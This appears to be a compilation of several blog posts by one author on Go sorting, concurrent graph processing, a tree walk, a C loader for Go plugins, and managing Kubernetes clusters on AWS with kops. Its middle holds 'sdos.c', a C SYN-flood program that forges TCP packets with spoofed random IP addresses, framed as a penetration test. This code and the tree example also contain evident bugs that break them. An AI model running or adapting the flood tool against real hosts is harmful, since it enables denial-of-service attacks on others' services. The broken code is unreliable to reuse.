Author: Kris Nova

A well written sorting algorithm is hard to replace, and typically the ones that have been battle tested will stand the test of time and stick around for a while. The Go programming language offers a clean abstraction on top of a commonly used sorting algorithm. With the sort  package in the standard library a user can sort arbitrary types in arbitrary ways using a time-proven sorting algorithm.

The way Go has set this up for us is by defining an interface called the sort.Interface. The rule is that as long as a type implements to this interface, it can be sorted.

 

The sort.Interface interface


type Interface interface {
       // Len is the number of elements in the collection.
       Len() int
       // Less reports whether the element with
       // index i should sort before the element with index j.
       Less(i, j int) bool
       // Swap swaps the elements with indexes i and j.
       Swap(i, j int)
}

The interface definition can be found here. The interface defines 3 functions, all of which are critical to the success of the sort.

Len()

The sort works by dividing the length of a collection by 2. So we need a way to determine a length (or size) of a collection. Think of this like the len() function in Go, and usually the len() function is appropriate to use here.

Less()

This is a function that will receive 2 integer indices from the collection. The algorithm assumes the implementation will perform some logic here and make an assertion. The algorithm will not care if a user actually checks if a value is less than another, as that assertion is completely arbitrary. This is analogous to the function used to compare values in C’s qsort()

Swap()

Go takes the sort abstraction one step further, and also makes the user define a Swap() function. This is called after Less() returns false and the algorithm understands that a change is needed. In Go however, you can make Swap() do whatever you want in this case.

Sorting integers with sort.Sort()

A very basic example of defining a sort.Interface implementation is to create an integer alias in Go, and implement the required functions.

type Integers []int

func (s Integers) Len() int {
	return len(s)
}
func (s Integers) Swap(i, j int) {
	s[i], s[j] = s[j], s[i]
}
func (s Integers) Less(i, j int) bool {
	return s[i] < s[j]
}

This implementation can now be passed to sort.Sort() and sorted on. A full working example of an integer sort with sort.Sort() can be found here in the Go playground, or my raw source here on GitHub.

Sorting structs with sort.Sort()

Below is an example of sorting on a collection of custom types, and using the utf8 package to sort on the int32 value of a rune. This is important because it demonstrates how a user might want to sort on a “calculated” value instead of a literal value.

A user can implement any logic they wish in Less() or in Swap() giving the user a powerful opportunity to build quick and efficient sorting program on any type they can dream of. This is useful in situations where the logic for what a user wants to sort on, might be something different than a simple numerical or alphabetical sort.

type Type struct {
	Value string
}

type Types []Type

func (s Types) Len() int {
	return len(s)
}
func (s Types) Swap(i, j int) {
	s[i], s[j] = s[j], s[i]
}
func (s Types) Less(i, j int) bool {
	iRune, _ := utf8.DecodeRuneInString(s[i].Value)
	jRune, _ := utf8.DecodeRuneInString(s[j].Value)
	return int32(iRune) > int32(jRune)
}

As always you can run the code in Go Playground, and also see the raw source in GitHub.

Conclusion

The Go programming language offers a familiar and clean abstraction for sorting on arbitrary types and with arbitrary logic. The user can implement any logic they wish in regards to what the sort will use to sort on.

By offering the underlying algorithm and defining the sort.Interface the programming language helps us build powerful sorting programs without enforcing a single opinion on what the algorithm should do but rather how to do it.

Thanks!

Thank you for reading my article. As always, I appreciate any feedback from users. So let me know how we could be better.

Follow @kris-nova

So today I decided to take on a fairly complex design pattern in the hopes of demonstrating some more advanced features of concurrency in Go or at least ruffle a few feathers about how to approach digraph processing.

Wikipedia offers a great explanation of graph theory in case you need to brush up!

The goal of this post is to offer a design approach to processing graphs concurrently , where each vertex in the graph represents a processable unit of work .

The graph will be processed concurrently via a `Crawl()` operation, where there are N number of concurrent processors . Each processor will process a stream of vertices procedurally by referencing a function pointer to a `process()` function.

The Graph

The graph is composed of edges and vertices. We start the example off by building a complex graph with an arbitrary child count. Each of the children may or may not have their own children. A child is represented by a vertex.

The Vertices

A vertex represent the intersections of the graph. Where 2 edges intersect, there will be a vertex. The only way to get from one vertex to another is to traverse it’s corresponding edge.

The Edges

Edges are what connect vertices. Every edge has a `to` and a `from` pointer that will point to the two vertices it’s connecting. Because the edge insinuates direction, and only connects in a single direction that makes the graph a directional graph, or a digraph.

The Processors

Processors process vertexes. In this example we simulate some arbitrary work by injecting a random sleep. In a real implementation a processor would actually accomplish some amount of work that a vertex would require. We have N processors so they can operate on vertices concurrently. The more processors, the more vertices we can concurrently operate on, or process.

The Crawler

The crawler will traverse edges to find vertices. As the crawler finds a vertex it will concurrently process each vertex by passing it to a processor. Processors are called cyclically and in order.

For example if we had 10 vertices and 3 processors the call pattern would look like this.

V -- P
------
1 -- 1
2 -- 2
3 -- 3
4 -- 1
5 -- 2
6 -- 3
7 -- 1
8 -- 2
9 -- 3
0 -- 1

The vertices to be processed in unique goroutines, but on shared channels. The channels will buffer and form a queue if the vertex workflow overflows their ability to keep up.

The win

The huge win here is that the graph stays constructed in it’s original form. The crawler can iterate through it’s many (and complex) layers quickly because of the concurrent processing design. A processor could be replaced with any implementation capable of running a workload. This allows the user to structure complex data, while operating on it without any overhead of understanding the data. The processor gets a vertex, and thats it. The processors have no concept of order, and they don’t need to.

Notice how the program is able to calculate the operations by counting the graph, and the graph is actually processed quickly with the same number of operations. Good. Clean. Concurrent processing.

Furthermore a user can turn up the number of iterations and specify how many times to visit each vertex. This is useful in situations were a process is idempotent but could potentially fail. Sending the same request N number of times makes sense and increases the probability of a success.

package main



import (
	"math/rand"
	"time"
	"fmt"
)

const (
	NumberOfConcurrentProcessors = 32
	NumberOfCrawlIterations = 4
)

// DiGraph
//
// This is a directional graph where edges can point in any direction between vertices.
// The graph has 1 root vertex, which is where the Crawl() starts from.
type DiGraph struct {
	RootVertex       *Vertex       // The root vertex of the graph
	Processors       [] *Processor // List of concurrent processors
	ProcessorIndex   int           // The current index of the next processor to use
	Edges            []*Edge       // All directional edges that make up the graph
	Iterations       int           // The total number of times to iterate over the graph
	TotalVertices    int           // Count of the total number of vertices that make up the graph
	ProcessedChannel chan int      // Channel to track processed vertices
	ProcessedCount   int           // Total number of processed vertices
	TotalOperations  int           // Total number of expected operations | [(TotalVertices * Iterations) - Iterations] + 1
}

// Vertex
//
// A single unit that composes the graph. Each vertex has relationships with other vertices,
// and should represent a single entity or unit of work.
type Vertex struct {
	Name   string // Unique name of this Vertex
	Edges  []*Edge
	Status int
}

// Edge
//
// Edges connect vertices together. Edges have a concept of how many times they have been processed
// And a To and From direction
type Edge struct {
	To             *Vertex
	From           *Vertex
	ProcessedCount int
}

// Processor
//
// This represents a single concurrent process that will operate on N number of vertices
type Processor struct {
	Function func(*Vertex) int
	Channel  chan *Vertex
}

// Init the graph with a literal definition
var TheGraph *DiGraph = NewGraph()

func main() {
	TheGraph.Init(NumberOfConcurrentProcessors, NumberOfCrawlIterations)
	TheGraph.Crawl()
}

func (d *DiGraph) Init(n, i int) {
	noProcs := n
	d.TotalVertices = d.RootVertex.recursiveCount()
	d.Iterations = i
	for ; n > 0; n-- {
		p := Processor{Channel: make(chan *Vertex)}
		d.Processors = append(d.Processors, &p)
		p.Function = Process
		go p.Exec()
	}
	d.TotalOperations = (d.TotalVertices * d.Iterations) - d.Iterations + 1 //Math is hard
	fmt.Printf("Total Vertices              : %d\n", d.TotalVertices)
	fmt.Printf("Total Iterations            : %d\n", d.Iterations)
	fmt.Printf("Total Concurrent Processors : %d\n", noProcs)
	fmt.Printf("Total Assumed Operations    : %d\n", d.TotalOperations)
}

func (d *DiGraph) Crawl() {
	d.ProcessedChannel = make(chan int)
	go d.RootVertex.recursiveProcess(d.getProcessor().Channel)
	fmt.Printf("---\n")
	for d.ProcessedCount < d.TotalOperations {
		d.ProcessedCount += <-d.ProcessedChannel
                //o(fmt.Sprintf("%d ", d.ProcessedCount))
	}
	fmt.Printf("\n---\n")
	fmt.Printf("Total Comlpeted Operations  : %d\n", d.ProcessedCount)
}

func (d *DiGraph) getProcessor() *Processor {
	maxIndex := len(d.Processors) - 1
	if d.ProcessorIndex == maxIndex {
		d.ProcessorIndex = 0
	} else {
		d.ProcessorIndex += 1
	}
	return d.Processors[d.ProcessorIndex]
}

func Process(v *Vertex) int {

	// Simulate some work with a random sleep
	rand.Seed(time.Now().Unix())
	sleep := rand.Intn(100 - 0) + 100
	time.Sleep(time.Millisecond * time.Duration(sleep))

        o(fmt.Sprintf("Processing: %s", v.Name))
	// Return a status code
	return 1
}

func (v *Vertex) recursiveProcess(ch chan *Vertex) {
	ch <- v
	for _, e := range v.Edges {
		if e.ProcessedCount < TheGraph.Iterations {
			e.ProcessedCount += 1
			go e.To.recursiveProcess(TheGraph.getProcessor().Channel)
		}
	}
}

func (v *Vertex) recursiveCount() int {
	i := 1
	for _, e := range v.Edges {
		if e.ProcessedCount != 0 {
			e.ProcessedCount = 0
			i += e.To.recursiveCount()
		}
	}
	return i
}

func (v *Vertex) AddVertex(name string) *Vertex {
	newVertex := &Vertex{Name: name}
	newEdge := &Edge{To: newVertex, From: v, ProcessedCount: -1}
	newVertex.Edges = append(newVertex.Edges, newEdge)
	v.Edges = append(v.Edges, newEdge)
	return newVertex
}

func (p *Processor) Exec() {
	for {
		v := <-p.Channel
		v.Status = p.Function(v)
		TheGraph.ProcessedChannel <- 1
	}
}

func NewGraph() *DiGraph {
	rootVertex := &Vertex{Name: "0"}
	v1 := rootVertex.AddVertex("1")
	rootVertex.AddVertex("2")
	rootVertex.AddVertex("3")
	v1.AddVertex("1-1")
	v1.AddVertex("1-2")
	v1_3 := v1.AddVertex("1-3")
	v1_3.AddVertex("1-3-1")
	v1_3.AddVertex("1-3-2")
	v1_3_3 := v1_3.AddVertex("1-3-3")
	v1_3_3.AddVertex("1-3-3-1")
	v1_3_3.AddVertex("1-3-3-2")
	v1_3_3.AddVertex("1-3-3-3")
	v1_3_3.AddVertex("1-3-3-4")
	v1_3_3.AddVertex("1-3-3-5")
	v1_3_3.AddVertex("1-3-3-6")
	v1_3_3.AddVertex("1-3-3-7")
	graph := &DiGraph{}
	graph.RootVertex = rootVertex
	return graph
}

func o(str string) {
	fmt.Println(str)
}

Try it out

You can run the code yourself in the Go playground.

Thanks!

Thank you for reading my article. As always, I appreciate any feedback from users. So let me know how we could be better.

Follow @kris-nova

Problem

Given 2 arbitrary integers X and N construct a tree such that the root has X child nodes, and each of the root’s children has N child nodes. Walk the graph touching each node only once and tracking the distance of each node from the root of the tree. For every node that has children, the parent node MUST BE visited first.

The total number of node visitations should match the following formula:


T = (X * N) + X + 1

Solution

package main

import (
	"fmt"
)

// main will build and walk the tree
func main() {
	fmt.Println("Building Tree")
	root := buildTree()
	fmt.Println("Walking Tree")
	root.walk()

}

// Total is a fun way to total how many nodes we have visited
var total = 1

// How many children for the root to thave
const rootsChildren = 3

// How many children for the root's children to have
const childrenChildren = 10

// node is a super simple node struct that will form the tree
type node struct {
	parent   *node
	children []*node
	depth    int
}

// buildTree will construct the tree for walking.
func buildTree() *node {
	var root &node
	root.addChildren(rootsChildren)
	for _, child := range root.children {
		child.addChildren(childrenChildren)
	}
	return root
}

// addChildren is a convenience to add an arbitrary number of children
func (n *node) addChildren(count int) {
	for i := 0; i < count; i++ {
		newChild := &node{
			parent: n,
			depth:  n.depth + 1,
		}
		n.children = append(n.children, newChild)
	}
}

// walk is a recursive function that calls itself for every child
func (n *node) walk() {
	n.visit()
	for _, child := range n.children {
		child.walk()
	}
}

// visit will get called on every node in the tree.
func (n *node) visit() {
	d := "└"
	for i := 0; i <= n.depth; i++ {
		d = d + "───"
	}
	fmt.Printf("%s Visiting node with address %p and parent %p Total (%d)\n", d, n, n.parent, total)
	total = total + 1
}

 

Execution Output


Building Tree
Walking Tree
└─── Visiting node with address 0x104401a0 and parent 0x0 Total (1)
└────── Visiting node with address 0x104401c0 and parent 0x104401a0 Total (2)
└───────── Visiting node with address 0x10440220 and parent 0x104401c0 Total (3)
└───────── Visiting node with address 0x10440240 and parent 0x104401c0 Total (4)
└───────── Visiting node with address 0x10440260 and parent 0x104401c0 Total (5)
└───────── Visiting node with address 0x10440280 and parent 0x104401c0 Total (6)
└───────── Visiting node with address 0x104402a0 and parent 0x104401c0 Total (7)
└───────── Visiting node with address 0x104402e0 and parent 0x104401c0 Total (8)
└───────── Visiting node with address 0x10440300 and parent 0x104401c0 Total (9)
└───────── Visiting node with address 0x10440320 and parent 0x104401c0 Total (10)
└───────── Visiting node with address 0x10440340 and parent 0x104401c0 Total (11)
└───────── Visiting node with address 0x10440360 and parent 0x104401c0 Total (12)
└────── Visiting node with address 0x104401e0 and parent 0x104401a0 Total (13)
└───────── Visiting node with address 0x10440380 and parent 0x104401e0 Total (14)
└───────── Visiting node with address 0x104403a0 and parent 0x104401e0 Total (15)
└───────── Visiting node with address 0x104403c0 and parent 0x104401e0 Total (16)
└───────── Visiting node with address 0x104403e0 and parent 0x104401e0 Total (17)
└───────── Visiting node with address 0x10440400 and parent 0x104401e0 Total (18)
└───────── Visiting node with address 0x10440440 and parent 0x104401e0 Total (19)
└───────── Visiting node with address 0x10440460 and parent 0x104401e0 Total (20)
└───────── Visiting node with address 0x10440480 and parent 0x104401e0 Total (21)
└───────── Visiting node with address 0x104404a0 and parent 0x104401e0 Total (22)
└───────── Visiting node with address 0x104404c0 and parent 0x104401e0 Total (23)
└────── Visiting node with address 0x10440200 and parent 0x104401a0 Total (24)
└───────── Visiting node with address 0x104404e0 and parent 0x10440200 Total (25)
└───────── Visiting node with address 0x10440500 and parent 0x10440200 Total (26)
└───────── Visiting node with address 0x10440520 and parent 0x10440200 Total (27)
└───────── Visiting node with address 0x10440540 and parent 0x10440200 Total (28)
└───────── Visiting node with address 0x10440560 and parent 0x10440200 Total (29)
└───────── Visiting node with address 0x104405a0 and parent 0x10440200 Total (30)
└───────── Visiting node with address 0x104405c0 and parent 0x10440200 Total (31)
└───────── Visiting node with address 0x104405e0 and parent 0x10440200 Total (32)
└───────── Visiting node with address 0x10440600 and parent 0x10440200 Total (33)
└───────── Visiting node with address 0x10440620 and parent 0x10440200 Total (34)

Try it out

You can run the code yourself in the Go playground.

Thanks!

Thank you for reading my article. As always, I appreciate any feedback from users. So let me know how we could be better.

Follow @kris-nova

Your 2nd day with Kubernetes on AWS

Okay, so you have a cluster up and running on AWS. Now what? Seriously, managing a Kubernetes cluster is hard. Especially if you are even thinking about keeping up with the pace of the community. The good news, is that kops makes this easy. Here a few commonly used stories on how to manage a cluster after everything is already up and running. If there is something you don’t see, that you would like, please let me know!

This tutorial assumes you were able to successfully get a cluster up and running in AWS, and you are now ready to see what else it can do.

In this tutorial we are covering 2nd day concerns for managing a Kubernetes cluster on AWS. The idea of this tutorial is to exercise some useful bits of kops functionality that you won’t see during a cluster deployment. Here we really open up kops to see what she can do (yes, kops is a girl)

In this tutorial we will be running kops 1.5.1, which can be downloaded here.

We will also be making the assumption that you have an environment setup similar to the following.

export NAME=nextday.nivenly.com
export KOPS_STATE_STORE=s3://nivenly-com-state-store

Upgrading Kubernetes with kops

Suppose you are running an older version of Kubernetes, and want to run the latest and greatest..

Here we will start off with a Kubernetes v1.4.8 cluster. We are picking an older cluster here to demonstrate the workflow in which you could upgrade your Kubernetes cluster. The project evolves quickly, and you want to be able to iterate on your clusters just as quickly. To deploy a Kubernetes v1.4.8 cluster:

kops create cluster --zones us-west-2a --kubernetes-version 1.4.8 $KOPS_NAME --yes

As the cluster is deploying, notice how kops will conveniently remind us that the version of Kubernetes that we are deploying is outdated. This is by design. We really want users to know when they are running old code.

..snip
A new kubernetes version is available: 1.5.2
Upgrading is recommended (try kops upgrade cluster)
..snip

So now we have an older version of Kubernetes running. We know this by running the following command and looking for Server Version: version.Info

kubectl version

Now, we can use the following command to see what kops suggests we should do:

kops upgrade cluster $KOPS_NAME

We can safely append --yes to the end of our command to apply the upgrade to our configuration. But what is really happening here?

When we run the upgrade command as in

kops upgrade cluster $KOPS_NAME --yes

all we are really doing is appending some values to the cluster spec. (Remember, this is the state store that is stored in S3 in YAML). Which of course can always be accessed and edited using:

kops edit cluster $KOPS_NAME

In this case you will notice how the kops upgrade cluster command conveniently changed the following line in the configuration file for us.

  kubernetesVersion: 1.5.2

We can now run a kops update cluster command as we always would, to apply the change.

kops update cluster $KOPS_NAME --yes

We can now safely roll each of our nodes to finish the upgrade. Let’s use kops rolling-update cluster to re deploy each of our nodes. This is necessary to finish the upgrade. A kops rolling update will cycle each of the instance in the autoscale group with the new configuration.

kops rolling-update cluster $KOPS_NAME --yes

We can now check the version of Kubernetes, and validate that we are in fact using the latest version.

 kubectl version 

Note: If a specific version of Kubernetes is desired, you can always use the --channel flag and specify a valid channel. An example channel can be found here.

Scaling your cluster

Suppose you would like to scale your cluster to process more work..

In this example we will start off with a very basic cluster, and turn the node count up using kops instance groups.

kops create cluster --zones us-west-2a --node-count 3 $KOPS_NAME --yes

After the cluster is deployed we can validate that we are using 3 nodes by running

kubectl get nodes

Say we want to scale our nodes from 3 to 30. We can easily do that with kops by editing the nodes instance group using:

kops edit instancegroup nodes

We can then bump our node counts up to 30

spec:
  image: kope.io/k8s-1.4-debian-jessie-amd64-hvm-ebs-2016-10-21
  machineType: t2.medium
  maxSize: 30
  minSize: 30
  role: Node
  subnets:
  - us-west-2a

We then of course need to update our newly edited configuration

kops update cluster $KOPS_NAME --yes

screen-shot-2017-03-01-at-10-36-30-pm

Kops will update the AWS ASG automatically, and poof we have a 30 node cluster.

I do actually try all of this before recommending it to anyone. So yes, I was able to actually deploy a 30 node cluster in AWS with kops.

The cluster was deployed successfully, and the primary component of lag was waiting on Amazon to deploy the instances after detecting a change in the Autoscaling group.

 

A quick delete command from kops, and all is well.

 kops delete cluster $KOPS_NAME --yes 

Audit your clusters

Suppose you need to know what is going on in the cloud.. and audit your infrastructure..

By design kops will never store information about the cloud resources, and will always look them up at runtime. So gaining a glimpse into what you have running currently can be a bit of a concern. There are 2 kops commands that are very useful for auditing your environment, and also auditing a single cluster.

In order to see what clusters we have running in a state store we first use the following command:

kops get clusters

Notice how we no longer have to use `$KOPS_NAME`. This is because we already have a cluster deployed, and thus should already have a working `~/.kube/config` file in place. We can infer a lot of information from the file. Now that we have a cluster name (or more!) in mind, we can use the following command:

kops toolbox dump

Which will output all the wonderful information we could want about a cluster in a format that is easy to query. It is important to note that the resources defined here are discovered using the same cluster lookup methods `kops` uses for all other cluster commands. This is a raw, and unique output of your cluster at runtime!

Thanks!

Thank you for reading my article. As always, I appreciate any feedback from users. So let me know how we could be better. Also feel free to check me out on GitHub for more kops updates.

Follow @kris-nova

I wrote a writeup on the C implementation of Go plugins in Go 1.8 with a proof of concept code, and examples on how to demonstrate the functionality.

The original project can be found here.

#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>

int main(int argc, char **argv) {
    void *handle;
    void (*run)();
    char *error;

    handle = dlopen ("../plugins/plugin1.so", RTLD_LAZY);
    if (!handle) {
        fputs (dlerror(), stderr);
        printf("\n");
        exit(1);
    }

    run = dlsym(handle, "plugin/unnamed-4dc81edc69e27be0c67b8f6c72a541e65358fd88.init");
    if ((error = dlerror()) != NULL)  {
        fputs(error, stderr);
        printf("\n");
        exit(1);
    }

    (*run)();
    dlclose(handle);
}

I have worked on exploiting a TCP handshake vulnerability using native FreeBSD C libraries.

The original project can be found here.

/*
 * ============================================================================
 *
 * (c)2002-2014. Kris Nova. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *=============================================================================
 *
 * sdos.c
 *
 * Tested and compiled on FreeBSD 10+
 *
 * A simple C script to attempt to flood a server with SYN requests in the
 * hopes of determining the threshold for availability.
 *
 * This is an isolated penetration test that will send requests via a unique
 * thread.
 *=============================================================================
 */

/* Includes */
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/socket.h>
#include <errno.h>
#include <arpa/inet.h>
#include <time.h>

/* Interface */
int main(int argc, char *argv[]);
unsigned short csum(unsigned short *ptr, int nbytes);
void usage();
int flood();
char* randIp();

/**
 * configuration
 *
 * The basic information for defining where we will send the pen request
 */
struct configuration
{
	char *ip;
	char *message;
	int port;
	int verbose;
};

/**
 * main
 *
 * Handles argument parsing and building the configuration struct
 *
 * int argc The total amount of arguments passed
 * char *argv[] Array of arguments space dilimited
 */
int main(int argc, char *argv[])
{
	//Set defaults
	struct configuration cfg;
	cfg.ip = "127.0.0.1";
	cfg.port = 1234;
	cfg.message = "...";
	cfg.verbose = 0;

	//Define
	unsigned int seed;
	unsigned int ii;

	// Invalid command, display usage
	int i;
	if (argc <= 2)
	{
		usage();
		exit(0);
	}

	// Parse arguments
	for (i = 0; i < argc; i++)
	{
		if (argv[i][0] == '-')
		{
			switch (argv[i][1])
			{
			case 'v':
				//Verbose
				cfg.verbose = 1;
				break;
			case 'h':
				//Host
				cfg.ip = argv[i + 1];
				break;
			case 'p':
				//Port
				cfg.port = atoi(argv[i + 1]);
				break;
			case 'm':
				//Message
				cfg.message = argv[i + 1];
				break;
			}
		}
	}
	//Call flood with our configuration
	seed = time(NULL);
	ii = 0;
	while (flood(cfg))
	{
		seed++;
		ii++;
		srand(seed);
		printf("Iterations: %i\n", ii);
	}
	//Fin
	return 1;
}

/**
 * csum
 *
 * Used to calculate the checksum
 */
unsigned short csum(unsigned short *ptr, int nbytes)
{
	register long sum;
	unsigned short oddbyte;
	register short answer;
	sum = 0;
	while (nbytes > 1)
	{
		sum += *ptr++;
		nbytes -= 2;
	}
	if (nbytes == 1)
	{
		oddbyte = 0;
		*((u_char*) &oddbyte) = *(u_char*) ptr;
		sum += oddbyte;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum = sum + (sum >> 16);
	answer = (short) ~sum;
	return (answer);
}

/**
 * flood
 *
 * The main function for the test
 * Handles sending the packets to the server in test
 */
int flood(struct configuration *cfg)
{
	//Create a raw socket
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096], source_ip[32];
	//IP header
	struct ip *iph = (struct ip *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof(struct ip));
	//Socket
	struct sockaddr_in sin;
	//Spoof struct (for calculation the checksum)
	struct ippseudo ipps;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	//TODO random IP
	sin.sin_addr.s_addr = inet_addr(randIp());

	//Zero out the buffer
	memset(datagram, 0, 4096);

	//IP header
	iph->ip_hl = 5;
	iph->ip_v = 4;
	iph->ip_tos = 0;
	iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
	iph->ip_id = htons(54321);
	iph->ip_off = 0;
	iph->ip_ttl = 255;
	iph->ip_p = IPPROTO_TCP;
	iph->ip_sum = 0;
	struct in_addr ipsrc;
	ipsrc.s_addr = inet_addr(source_ip);
	iph->ip_src = ipsrc;
	struct in_addr ipdst;
	ipdst.s_addr = sin.sin_addr.s_addr;
	iph->ip_dst = ipdst;
	iph->ip_sum = csum((unsigned short *) datagram, iph->ip_len >> 1);

	//TCP Header
	tcph->th_sport = htons(1234);
	tcph->th_dport = htons(80);
	tcph->th_seq = 0;
	tcph->th_ack = 0;
	//First and only TCP segment
	tcph->th_off = 5;
	tcph->th_flags = 00000010;
	//Max window size
	tcph->th_win = htons(5840);
	//The kernel will handle calculation this
	tcph->th_sum = 0;
	tcph->th_urp = 0;

	//Spoof struct
	struct in_addr spfsrc;
	spfsrc.s_addr = inet_addr(source_ip);
	ipps.ippseudo_src = spfsrc;
	struct in_addr spfdst;
	spfdst.s_addr = sin.sin_addr.s_addr;
	ipps.ippseudo_dst = spfdst;
	ipps.ippseudo_pad = 0;
	ipps.ippseudo_p = IPPROTO_TCP;
	ipps.ippseudo_len = htons(20);

	//Calculate checksum for the TCP header
	tcph->th_sum = csum((unsigned short*) &ipps, sizeof(struct ippseudo));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	int one = 1;
	const int *val = &one;
	if (setsockopt(s, IPPROTO_IP, PF_INET, val, sizeof(one)) < 0)
	{
		printf("Error setting IP_HDRINCL. "
				"Error number : %d . "
				"Error message : %s \n",
		errno, strerror(errno));
		exit(0);
	}

	//Send the packet
	if (sendto(s, /* our socket */
	datagram, /* the buffer containing headers and data */
	iph->ip_len, /* total length of our datagram */
	0, /* routing flags, normally always 0 */
	(struct sockaddr *) &sin, /* socket addr, just like in */
	sizeof(sin)) < 0) /* a normal send() */
	{
		printf("Packet transmission failed!\n");
		return 1;
	}
	//Data send successfully
	else
	{
		printf("Packet transmission success!\n");
		return 1;
	}
}

/**
 * randIp
 *
 * Will generate a random IP address to spoof the packet with
 */
char* randIp()
{
	char *ip;
	sprintf(ip,
			"%d.%d.%d.%d",
			rand() & 126,
			rand() & 255,
			rand() & 255,
			rand() & 255);
	printf("Random IP: %s\n", ip);
	return ip;
}

/**
 * usage
 *
 * How do we run this thing
 */
void usage()
{
	printf("./sdos <options>\n");
	printf("\n");
	printf("v     Verbose - Enables verbosity\n");
	printf("h     Host    - IP of host to connect to\n");
	printf("p     Port    - The numerical port to connect on\n");
	printf("m     Message - Optional message to send to the server\n");
	printf("\n");

}

Today we announce the release of Kubernetes kops 1.5.1 LTS!

I figured what better way to announce the release, than with an updated blog post on setting up an HA cluster on private topology with the new release!

What we are building

In this tutorial we will cover setting up a HA privately networked Kubernetes cluster in AWS with Kubernetes kops 1.5.1.

  • Fully managed VPC in AWS, with automatically generated private, and public subnets.
  • Outbound traffic managed through a NAT gateway and elastic IP in each private subnet.
  • Classic ELB fronting the Kubernetes API on TCP 443 (No firewall holes for the cluster).
  • Classic ELB fronting a bastion ASG for resilient SSH access for admins.
  • HA (Highly Available) Kubernetes masters spread across multiple availability zones in an ASG.
  • Kubernetes nodes spread across multiple availability zones in an ASG.
  • Public DNS alias for the Kubernetes API.

Installing kops 1.5.1

Kubernetes kops is an open source tool that Kubernetes offers that can be used for deploying Kubernetes clusters in AWS. We will be using the tool in this tutorial.


curl -sSL https://github.com/kubernetes/kops/releases/download/1.5.1/kops-darwin-amd64 -O
chmod +x kops-darwin-amd64
sudo mv kops-darwin-amd64 /usr/local/bin

More information on installing kops can be found here for our non OS X users.

Installing kubectl

We will also be needing a tool called kubectl. Think of this as a thin CLI client for the Kubernetes API, similar to the aws CLI tool we will be installing next.

curl -O https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/darwin/amd64/kubectl
chmod +x kubectl
sudo mv kubectl /usr/local/bin

Setting up your AWS environment

Get your AWS credentials from the console

Use the AWS console to get an AWS AccessKeyId and AWS SecretAccessKey Official Documentaion. After you have your credentials, download the CLI tool and configure it with your new user. You can also use any method defined here.

brew update && brew install awscli
aws configure

We strongly recommend using a single user with a select few IAM permissions to run kops. Thankfully kops provides a handy IAM creation script that will create a new user with the correct permissions. Be sure to note your new AccessKeyId and SecretAccessKey for the next step.

curl -O https://raw.githubusercontent.com/kubernetes/kops/master/hack/new-iam-user.sh
sh new-iam-user.sh <group> <user>
aws iam list-users

Setting up DNS for your cluster

We will need a publicly resolvable domain name for our cluster. So we need to make sure we have a hosted zone setup in Route53. In this example we will be using nivenly.com for our example hosted zone.

 ID=$(uuidgen) && aws route53 create-hosted-zone --name nivenly.com --caller-reference $ID 

More information on more advanced DNS setup.

Setting up a state store for your cluster

Kops will store a representation of your Kubernetes cluster in AWS S3. This is called the kops state store. It is important to note that kops DOES NOT store any concept of what resources are deployed. That would create two sources of truth (The AWS API, and the state store). Rather, kops will merely store a definition of the Kubernetes cluster, that will then be applied to AWS via kops.

We will call our state store in this example nivenly-com-state-store.

 aws s3api create-bucket --bucket nivenly-com-state-store --region us-east-1 

Creating your first cluster

Getting ready

Okay! We are ready to start creating our first cluster. Lets first set up a few environmental variables to make this process as clean as possible.

export NAME=myfirstcluster.nivenly.com
export KOPS_STATE_STORE=s3://nivenly-com-state-store

Form your create cluster command

We will need to note which availability zones are available to us. These are different for every AWS account. In this example we will be deploying our cluster to the us-west-1 region.

 aws ec2 describe-availability-zones --region us-west-1 

Lets form our create cluster command. Here we want to define a few things.

  • –node-count 3
    • We want 3 Kubernetes nodes
  • –zones us-west-2a,us-west-2b,us-west-2c
    • We want to run our nodes spread across the 3 availability zones available to our account
    • This is a CSV list, pulled from the API in the previous request
  • –master-zones us-west-2a,us-west-2b,us-west-2c 
    • This will tell kops to spread masters across those availability zones.
    • Because there is more than 1, this will automatically be ran in HA.
  • –dns-zone nivenly.com
    • We define the DNS hosted zone we created earlier
  • –node-size t2.large
    • We set our nodes to a defined instance size
  • –master-size t2.large
    • We set our masters to a defined instance size
  • –topology private 
    • We define that we want to use a private network topology with kops.
    • This is what tells kops to build the diagram above.
  • –networking calico 
    • We tell kops to use Calico for our overlay network
    • Overlay networks are required for this configuration.
    • Many thanks to our friends at Calico for helping us get this into kops!
  • –bastion
    • Add this flag to tell kops to create a bastion server so you can SSH into the cluster

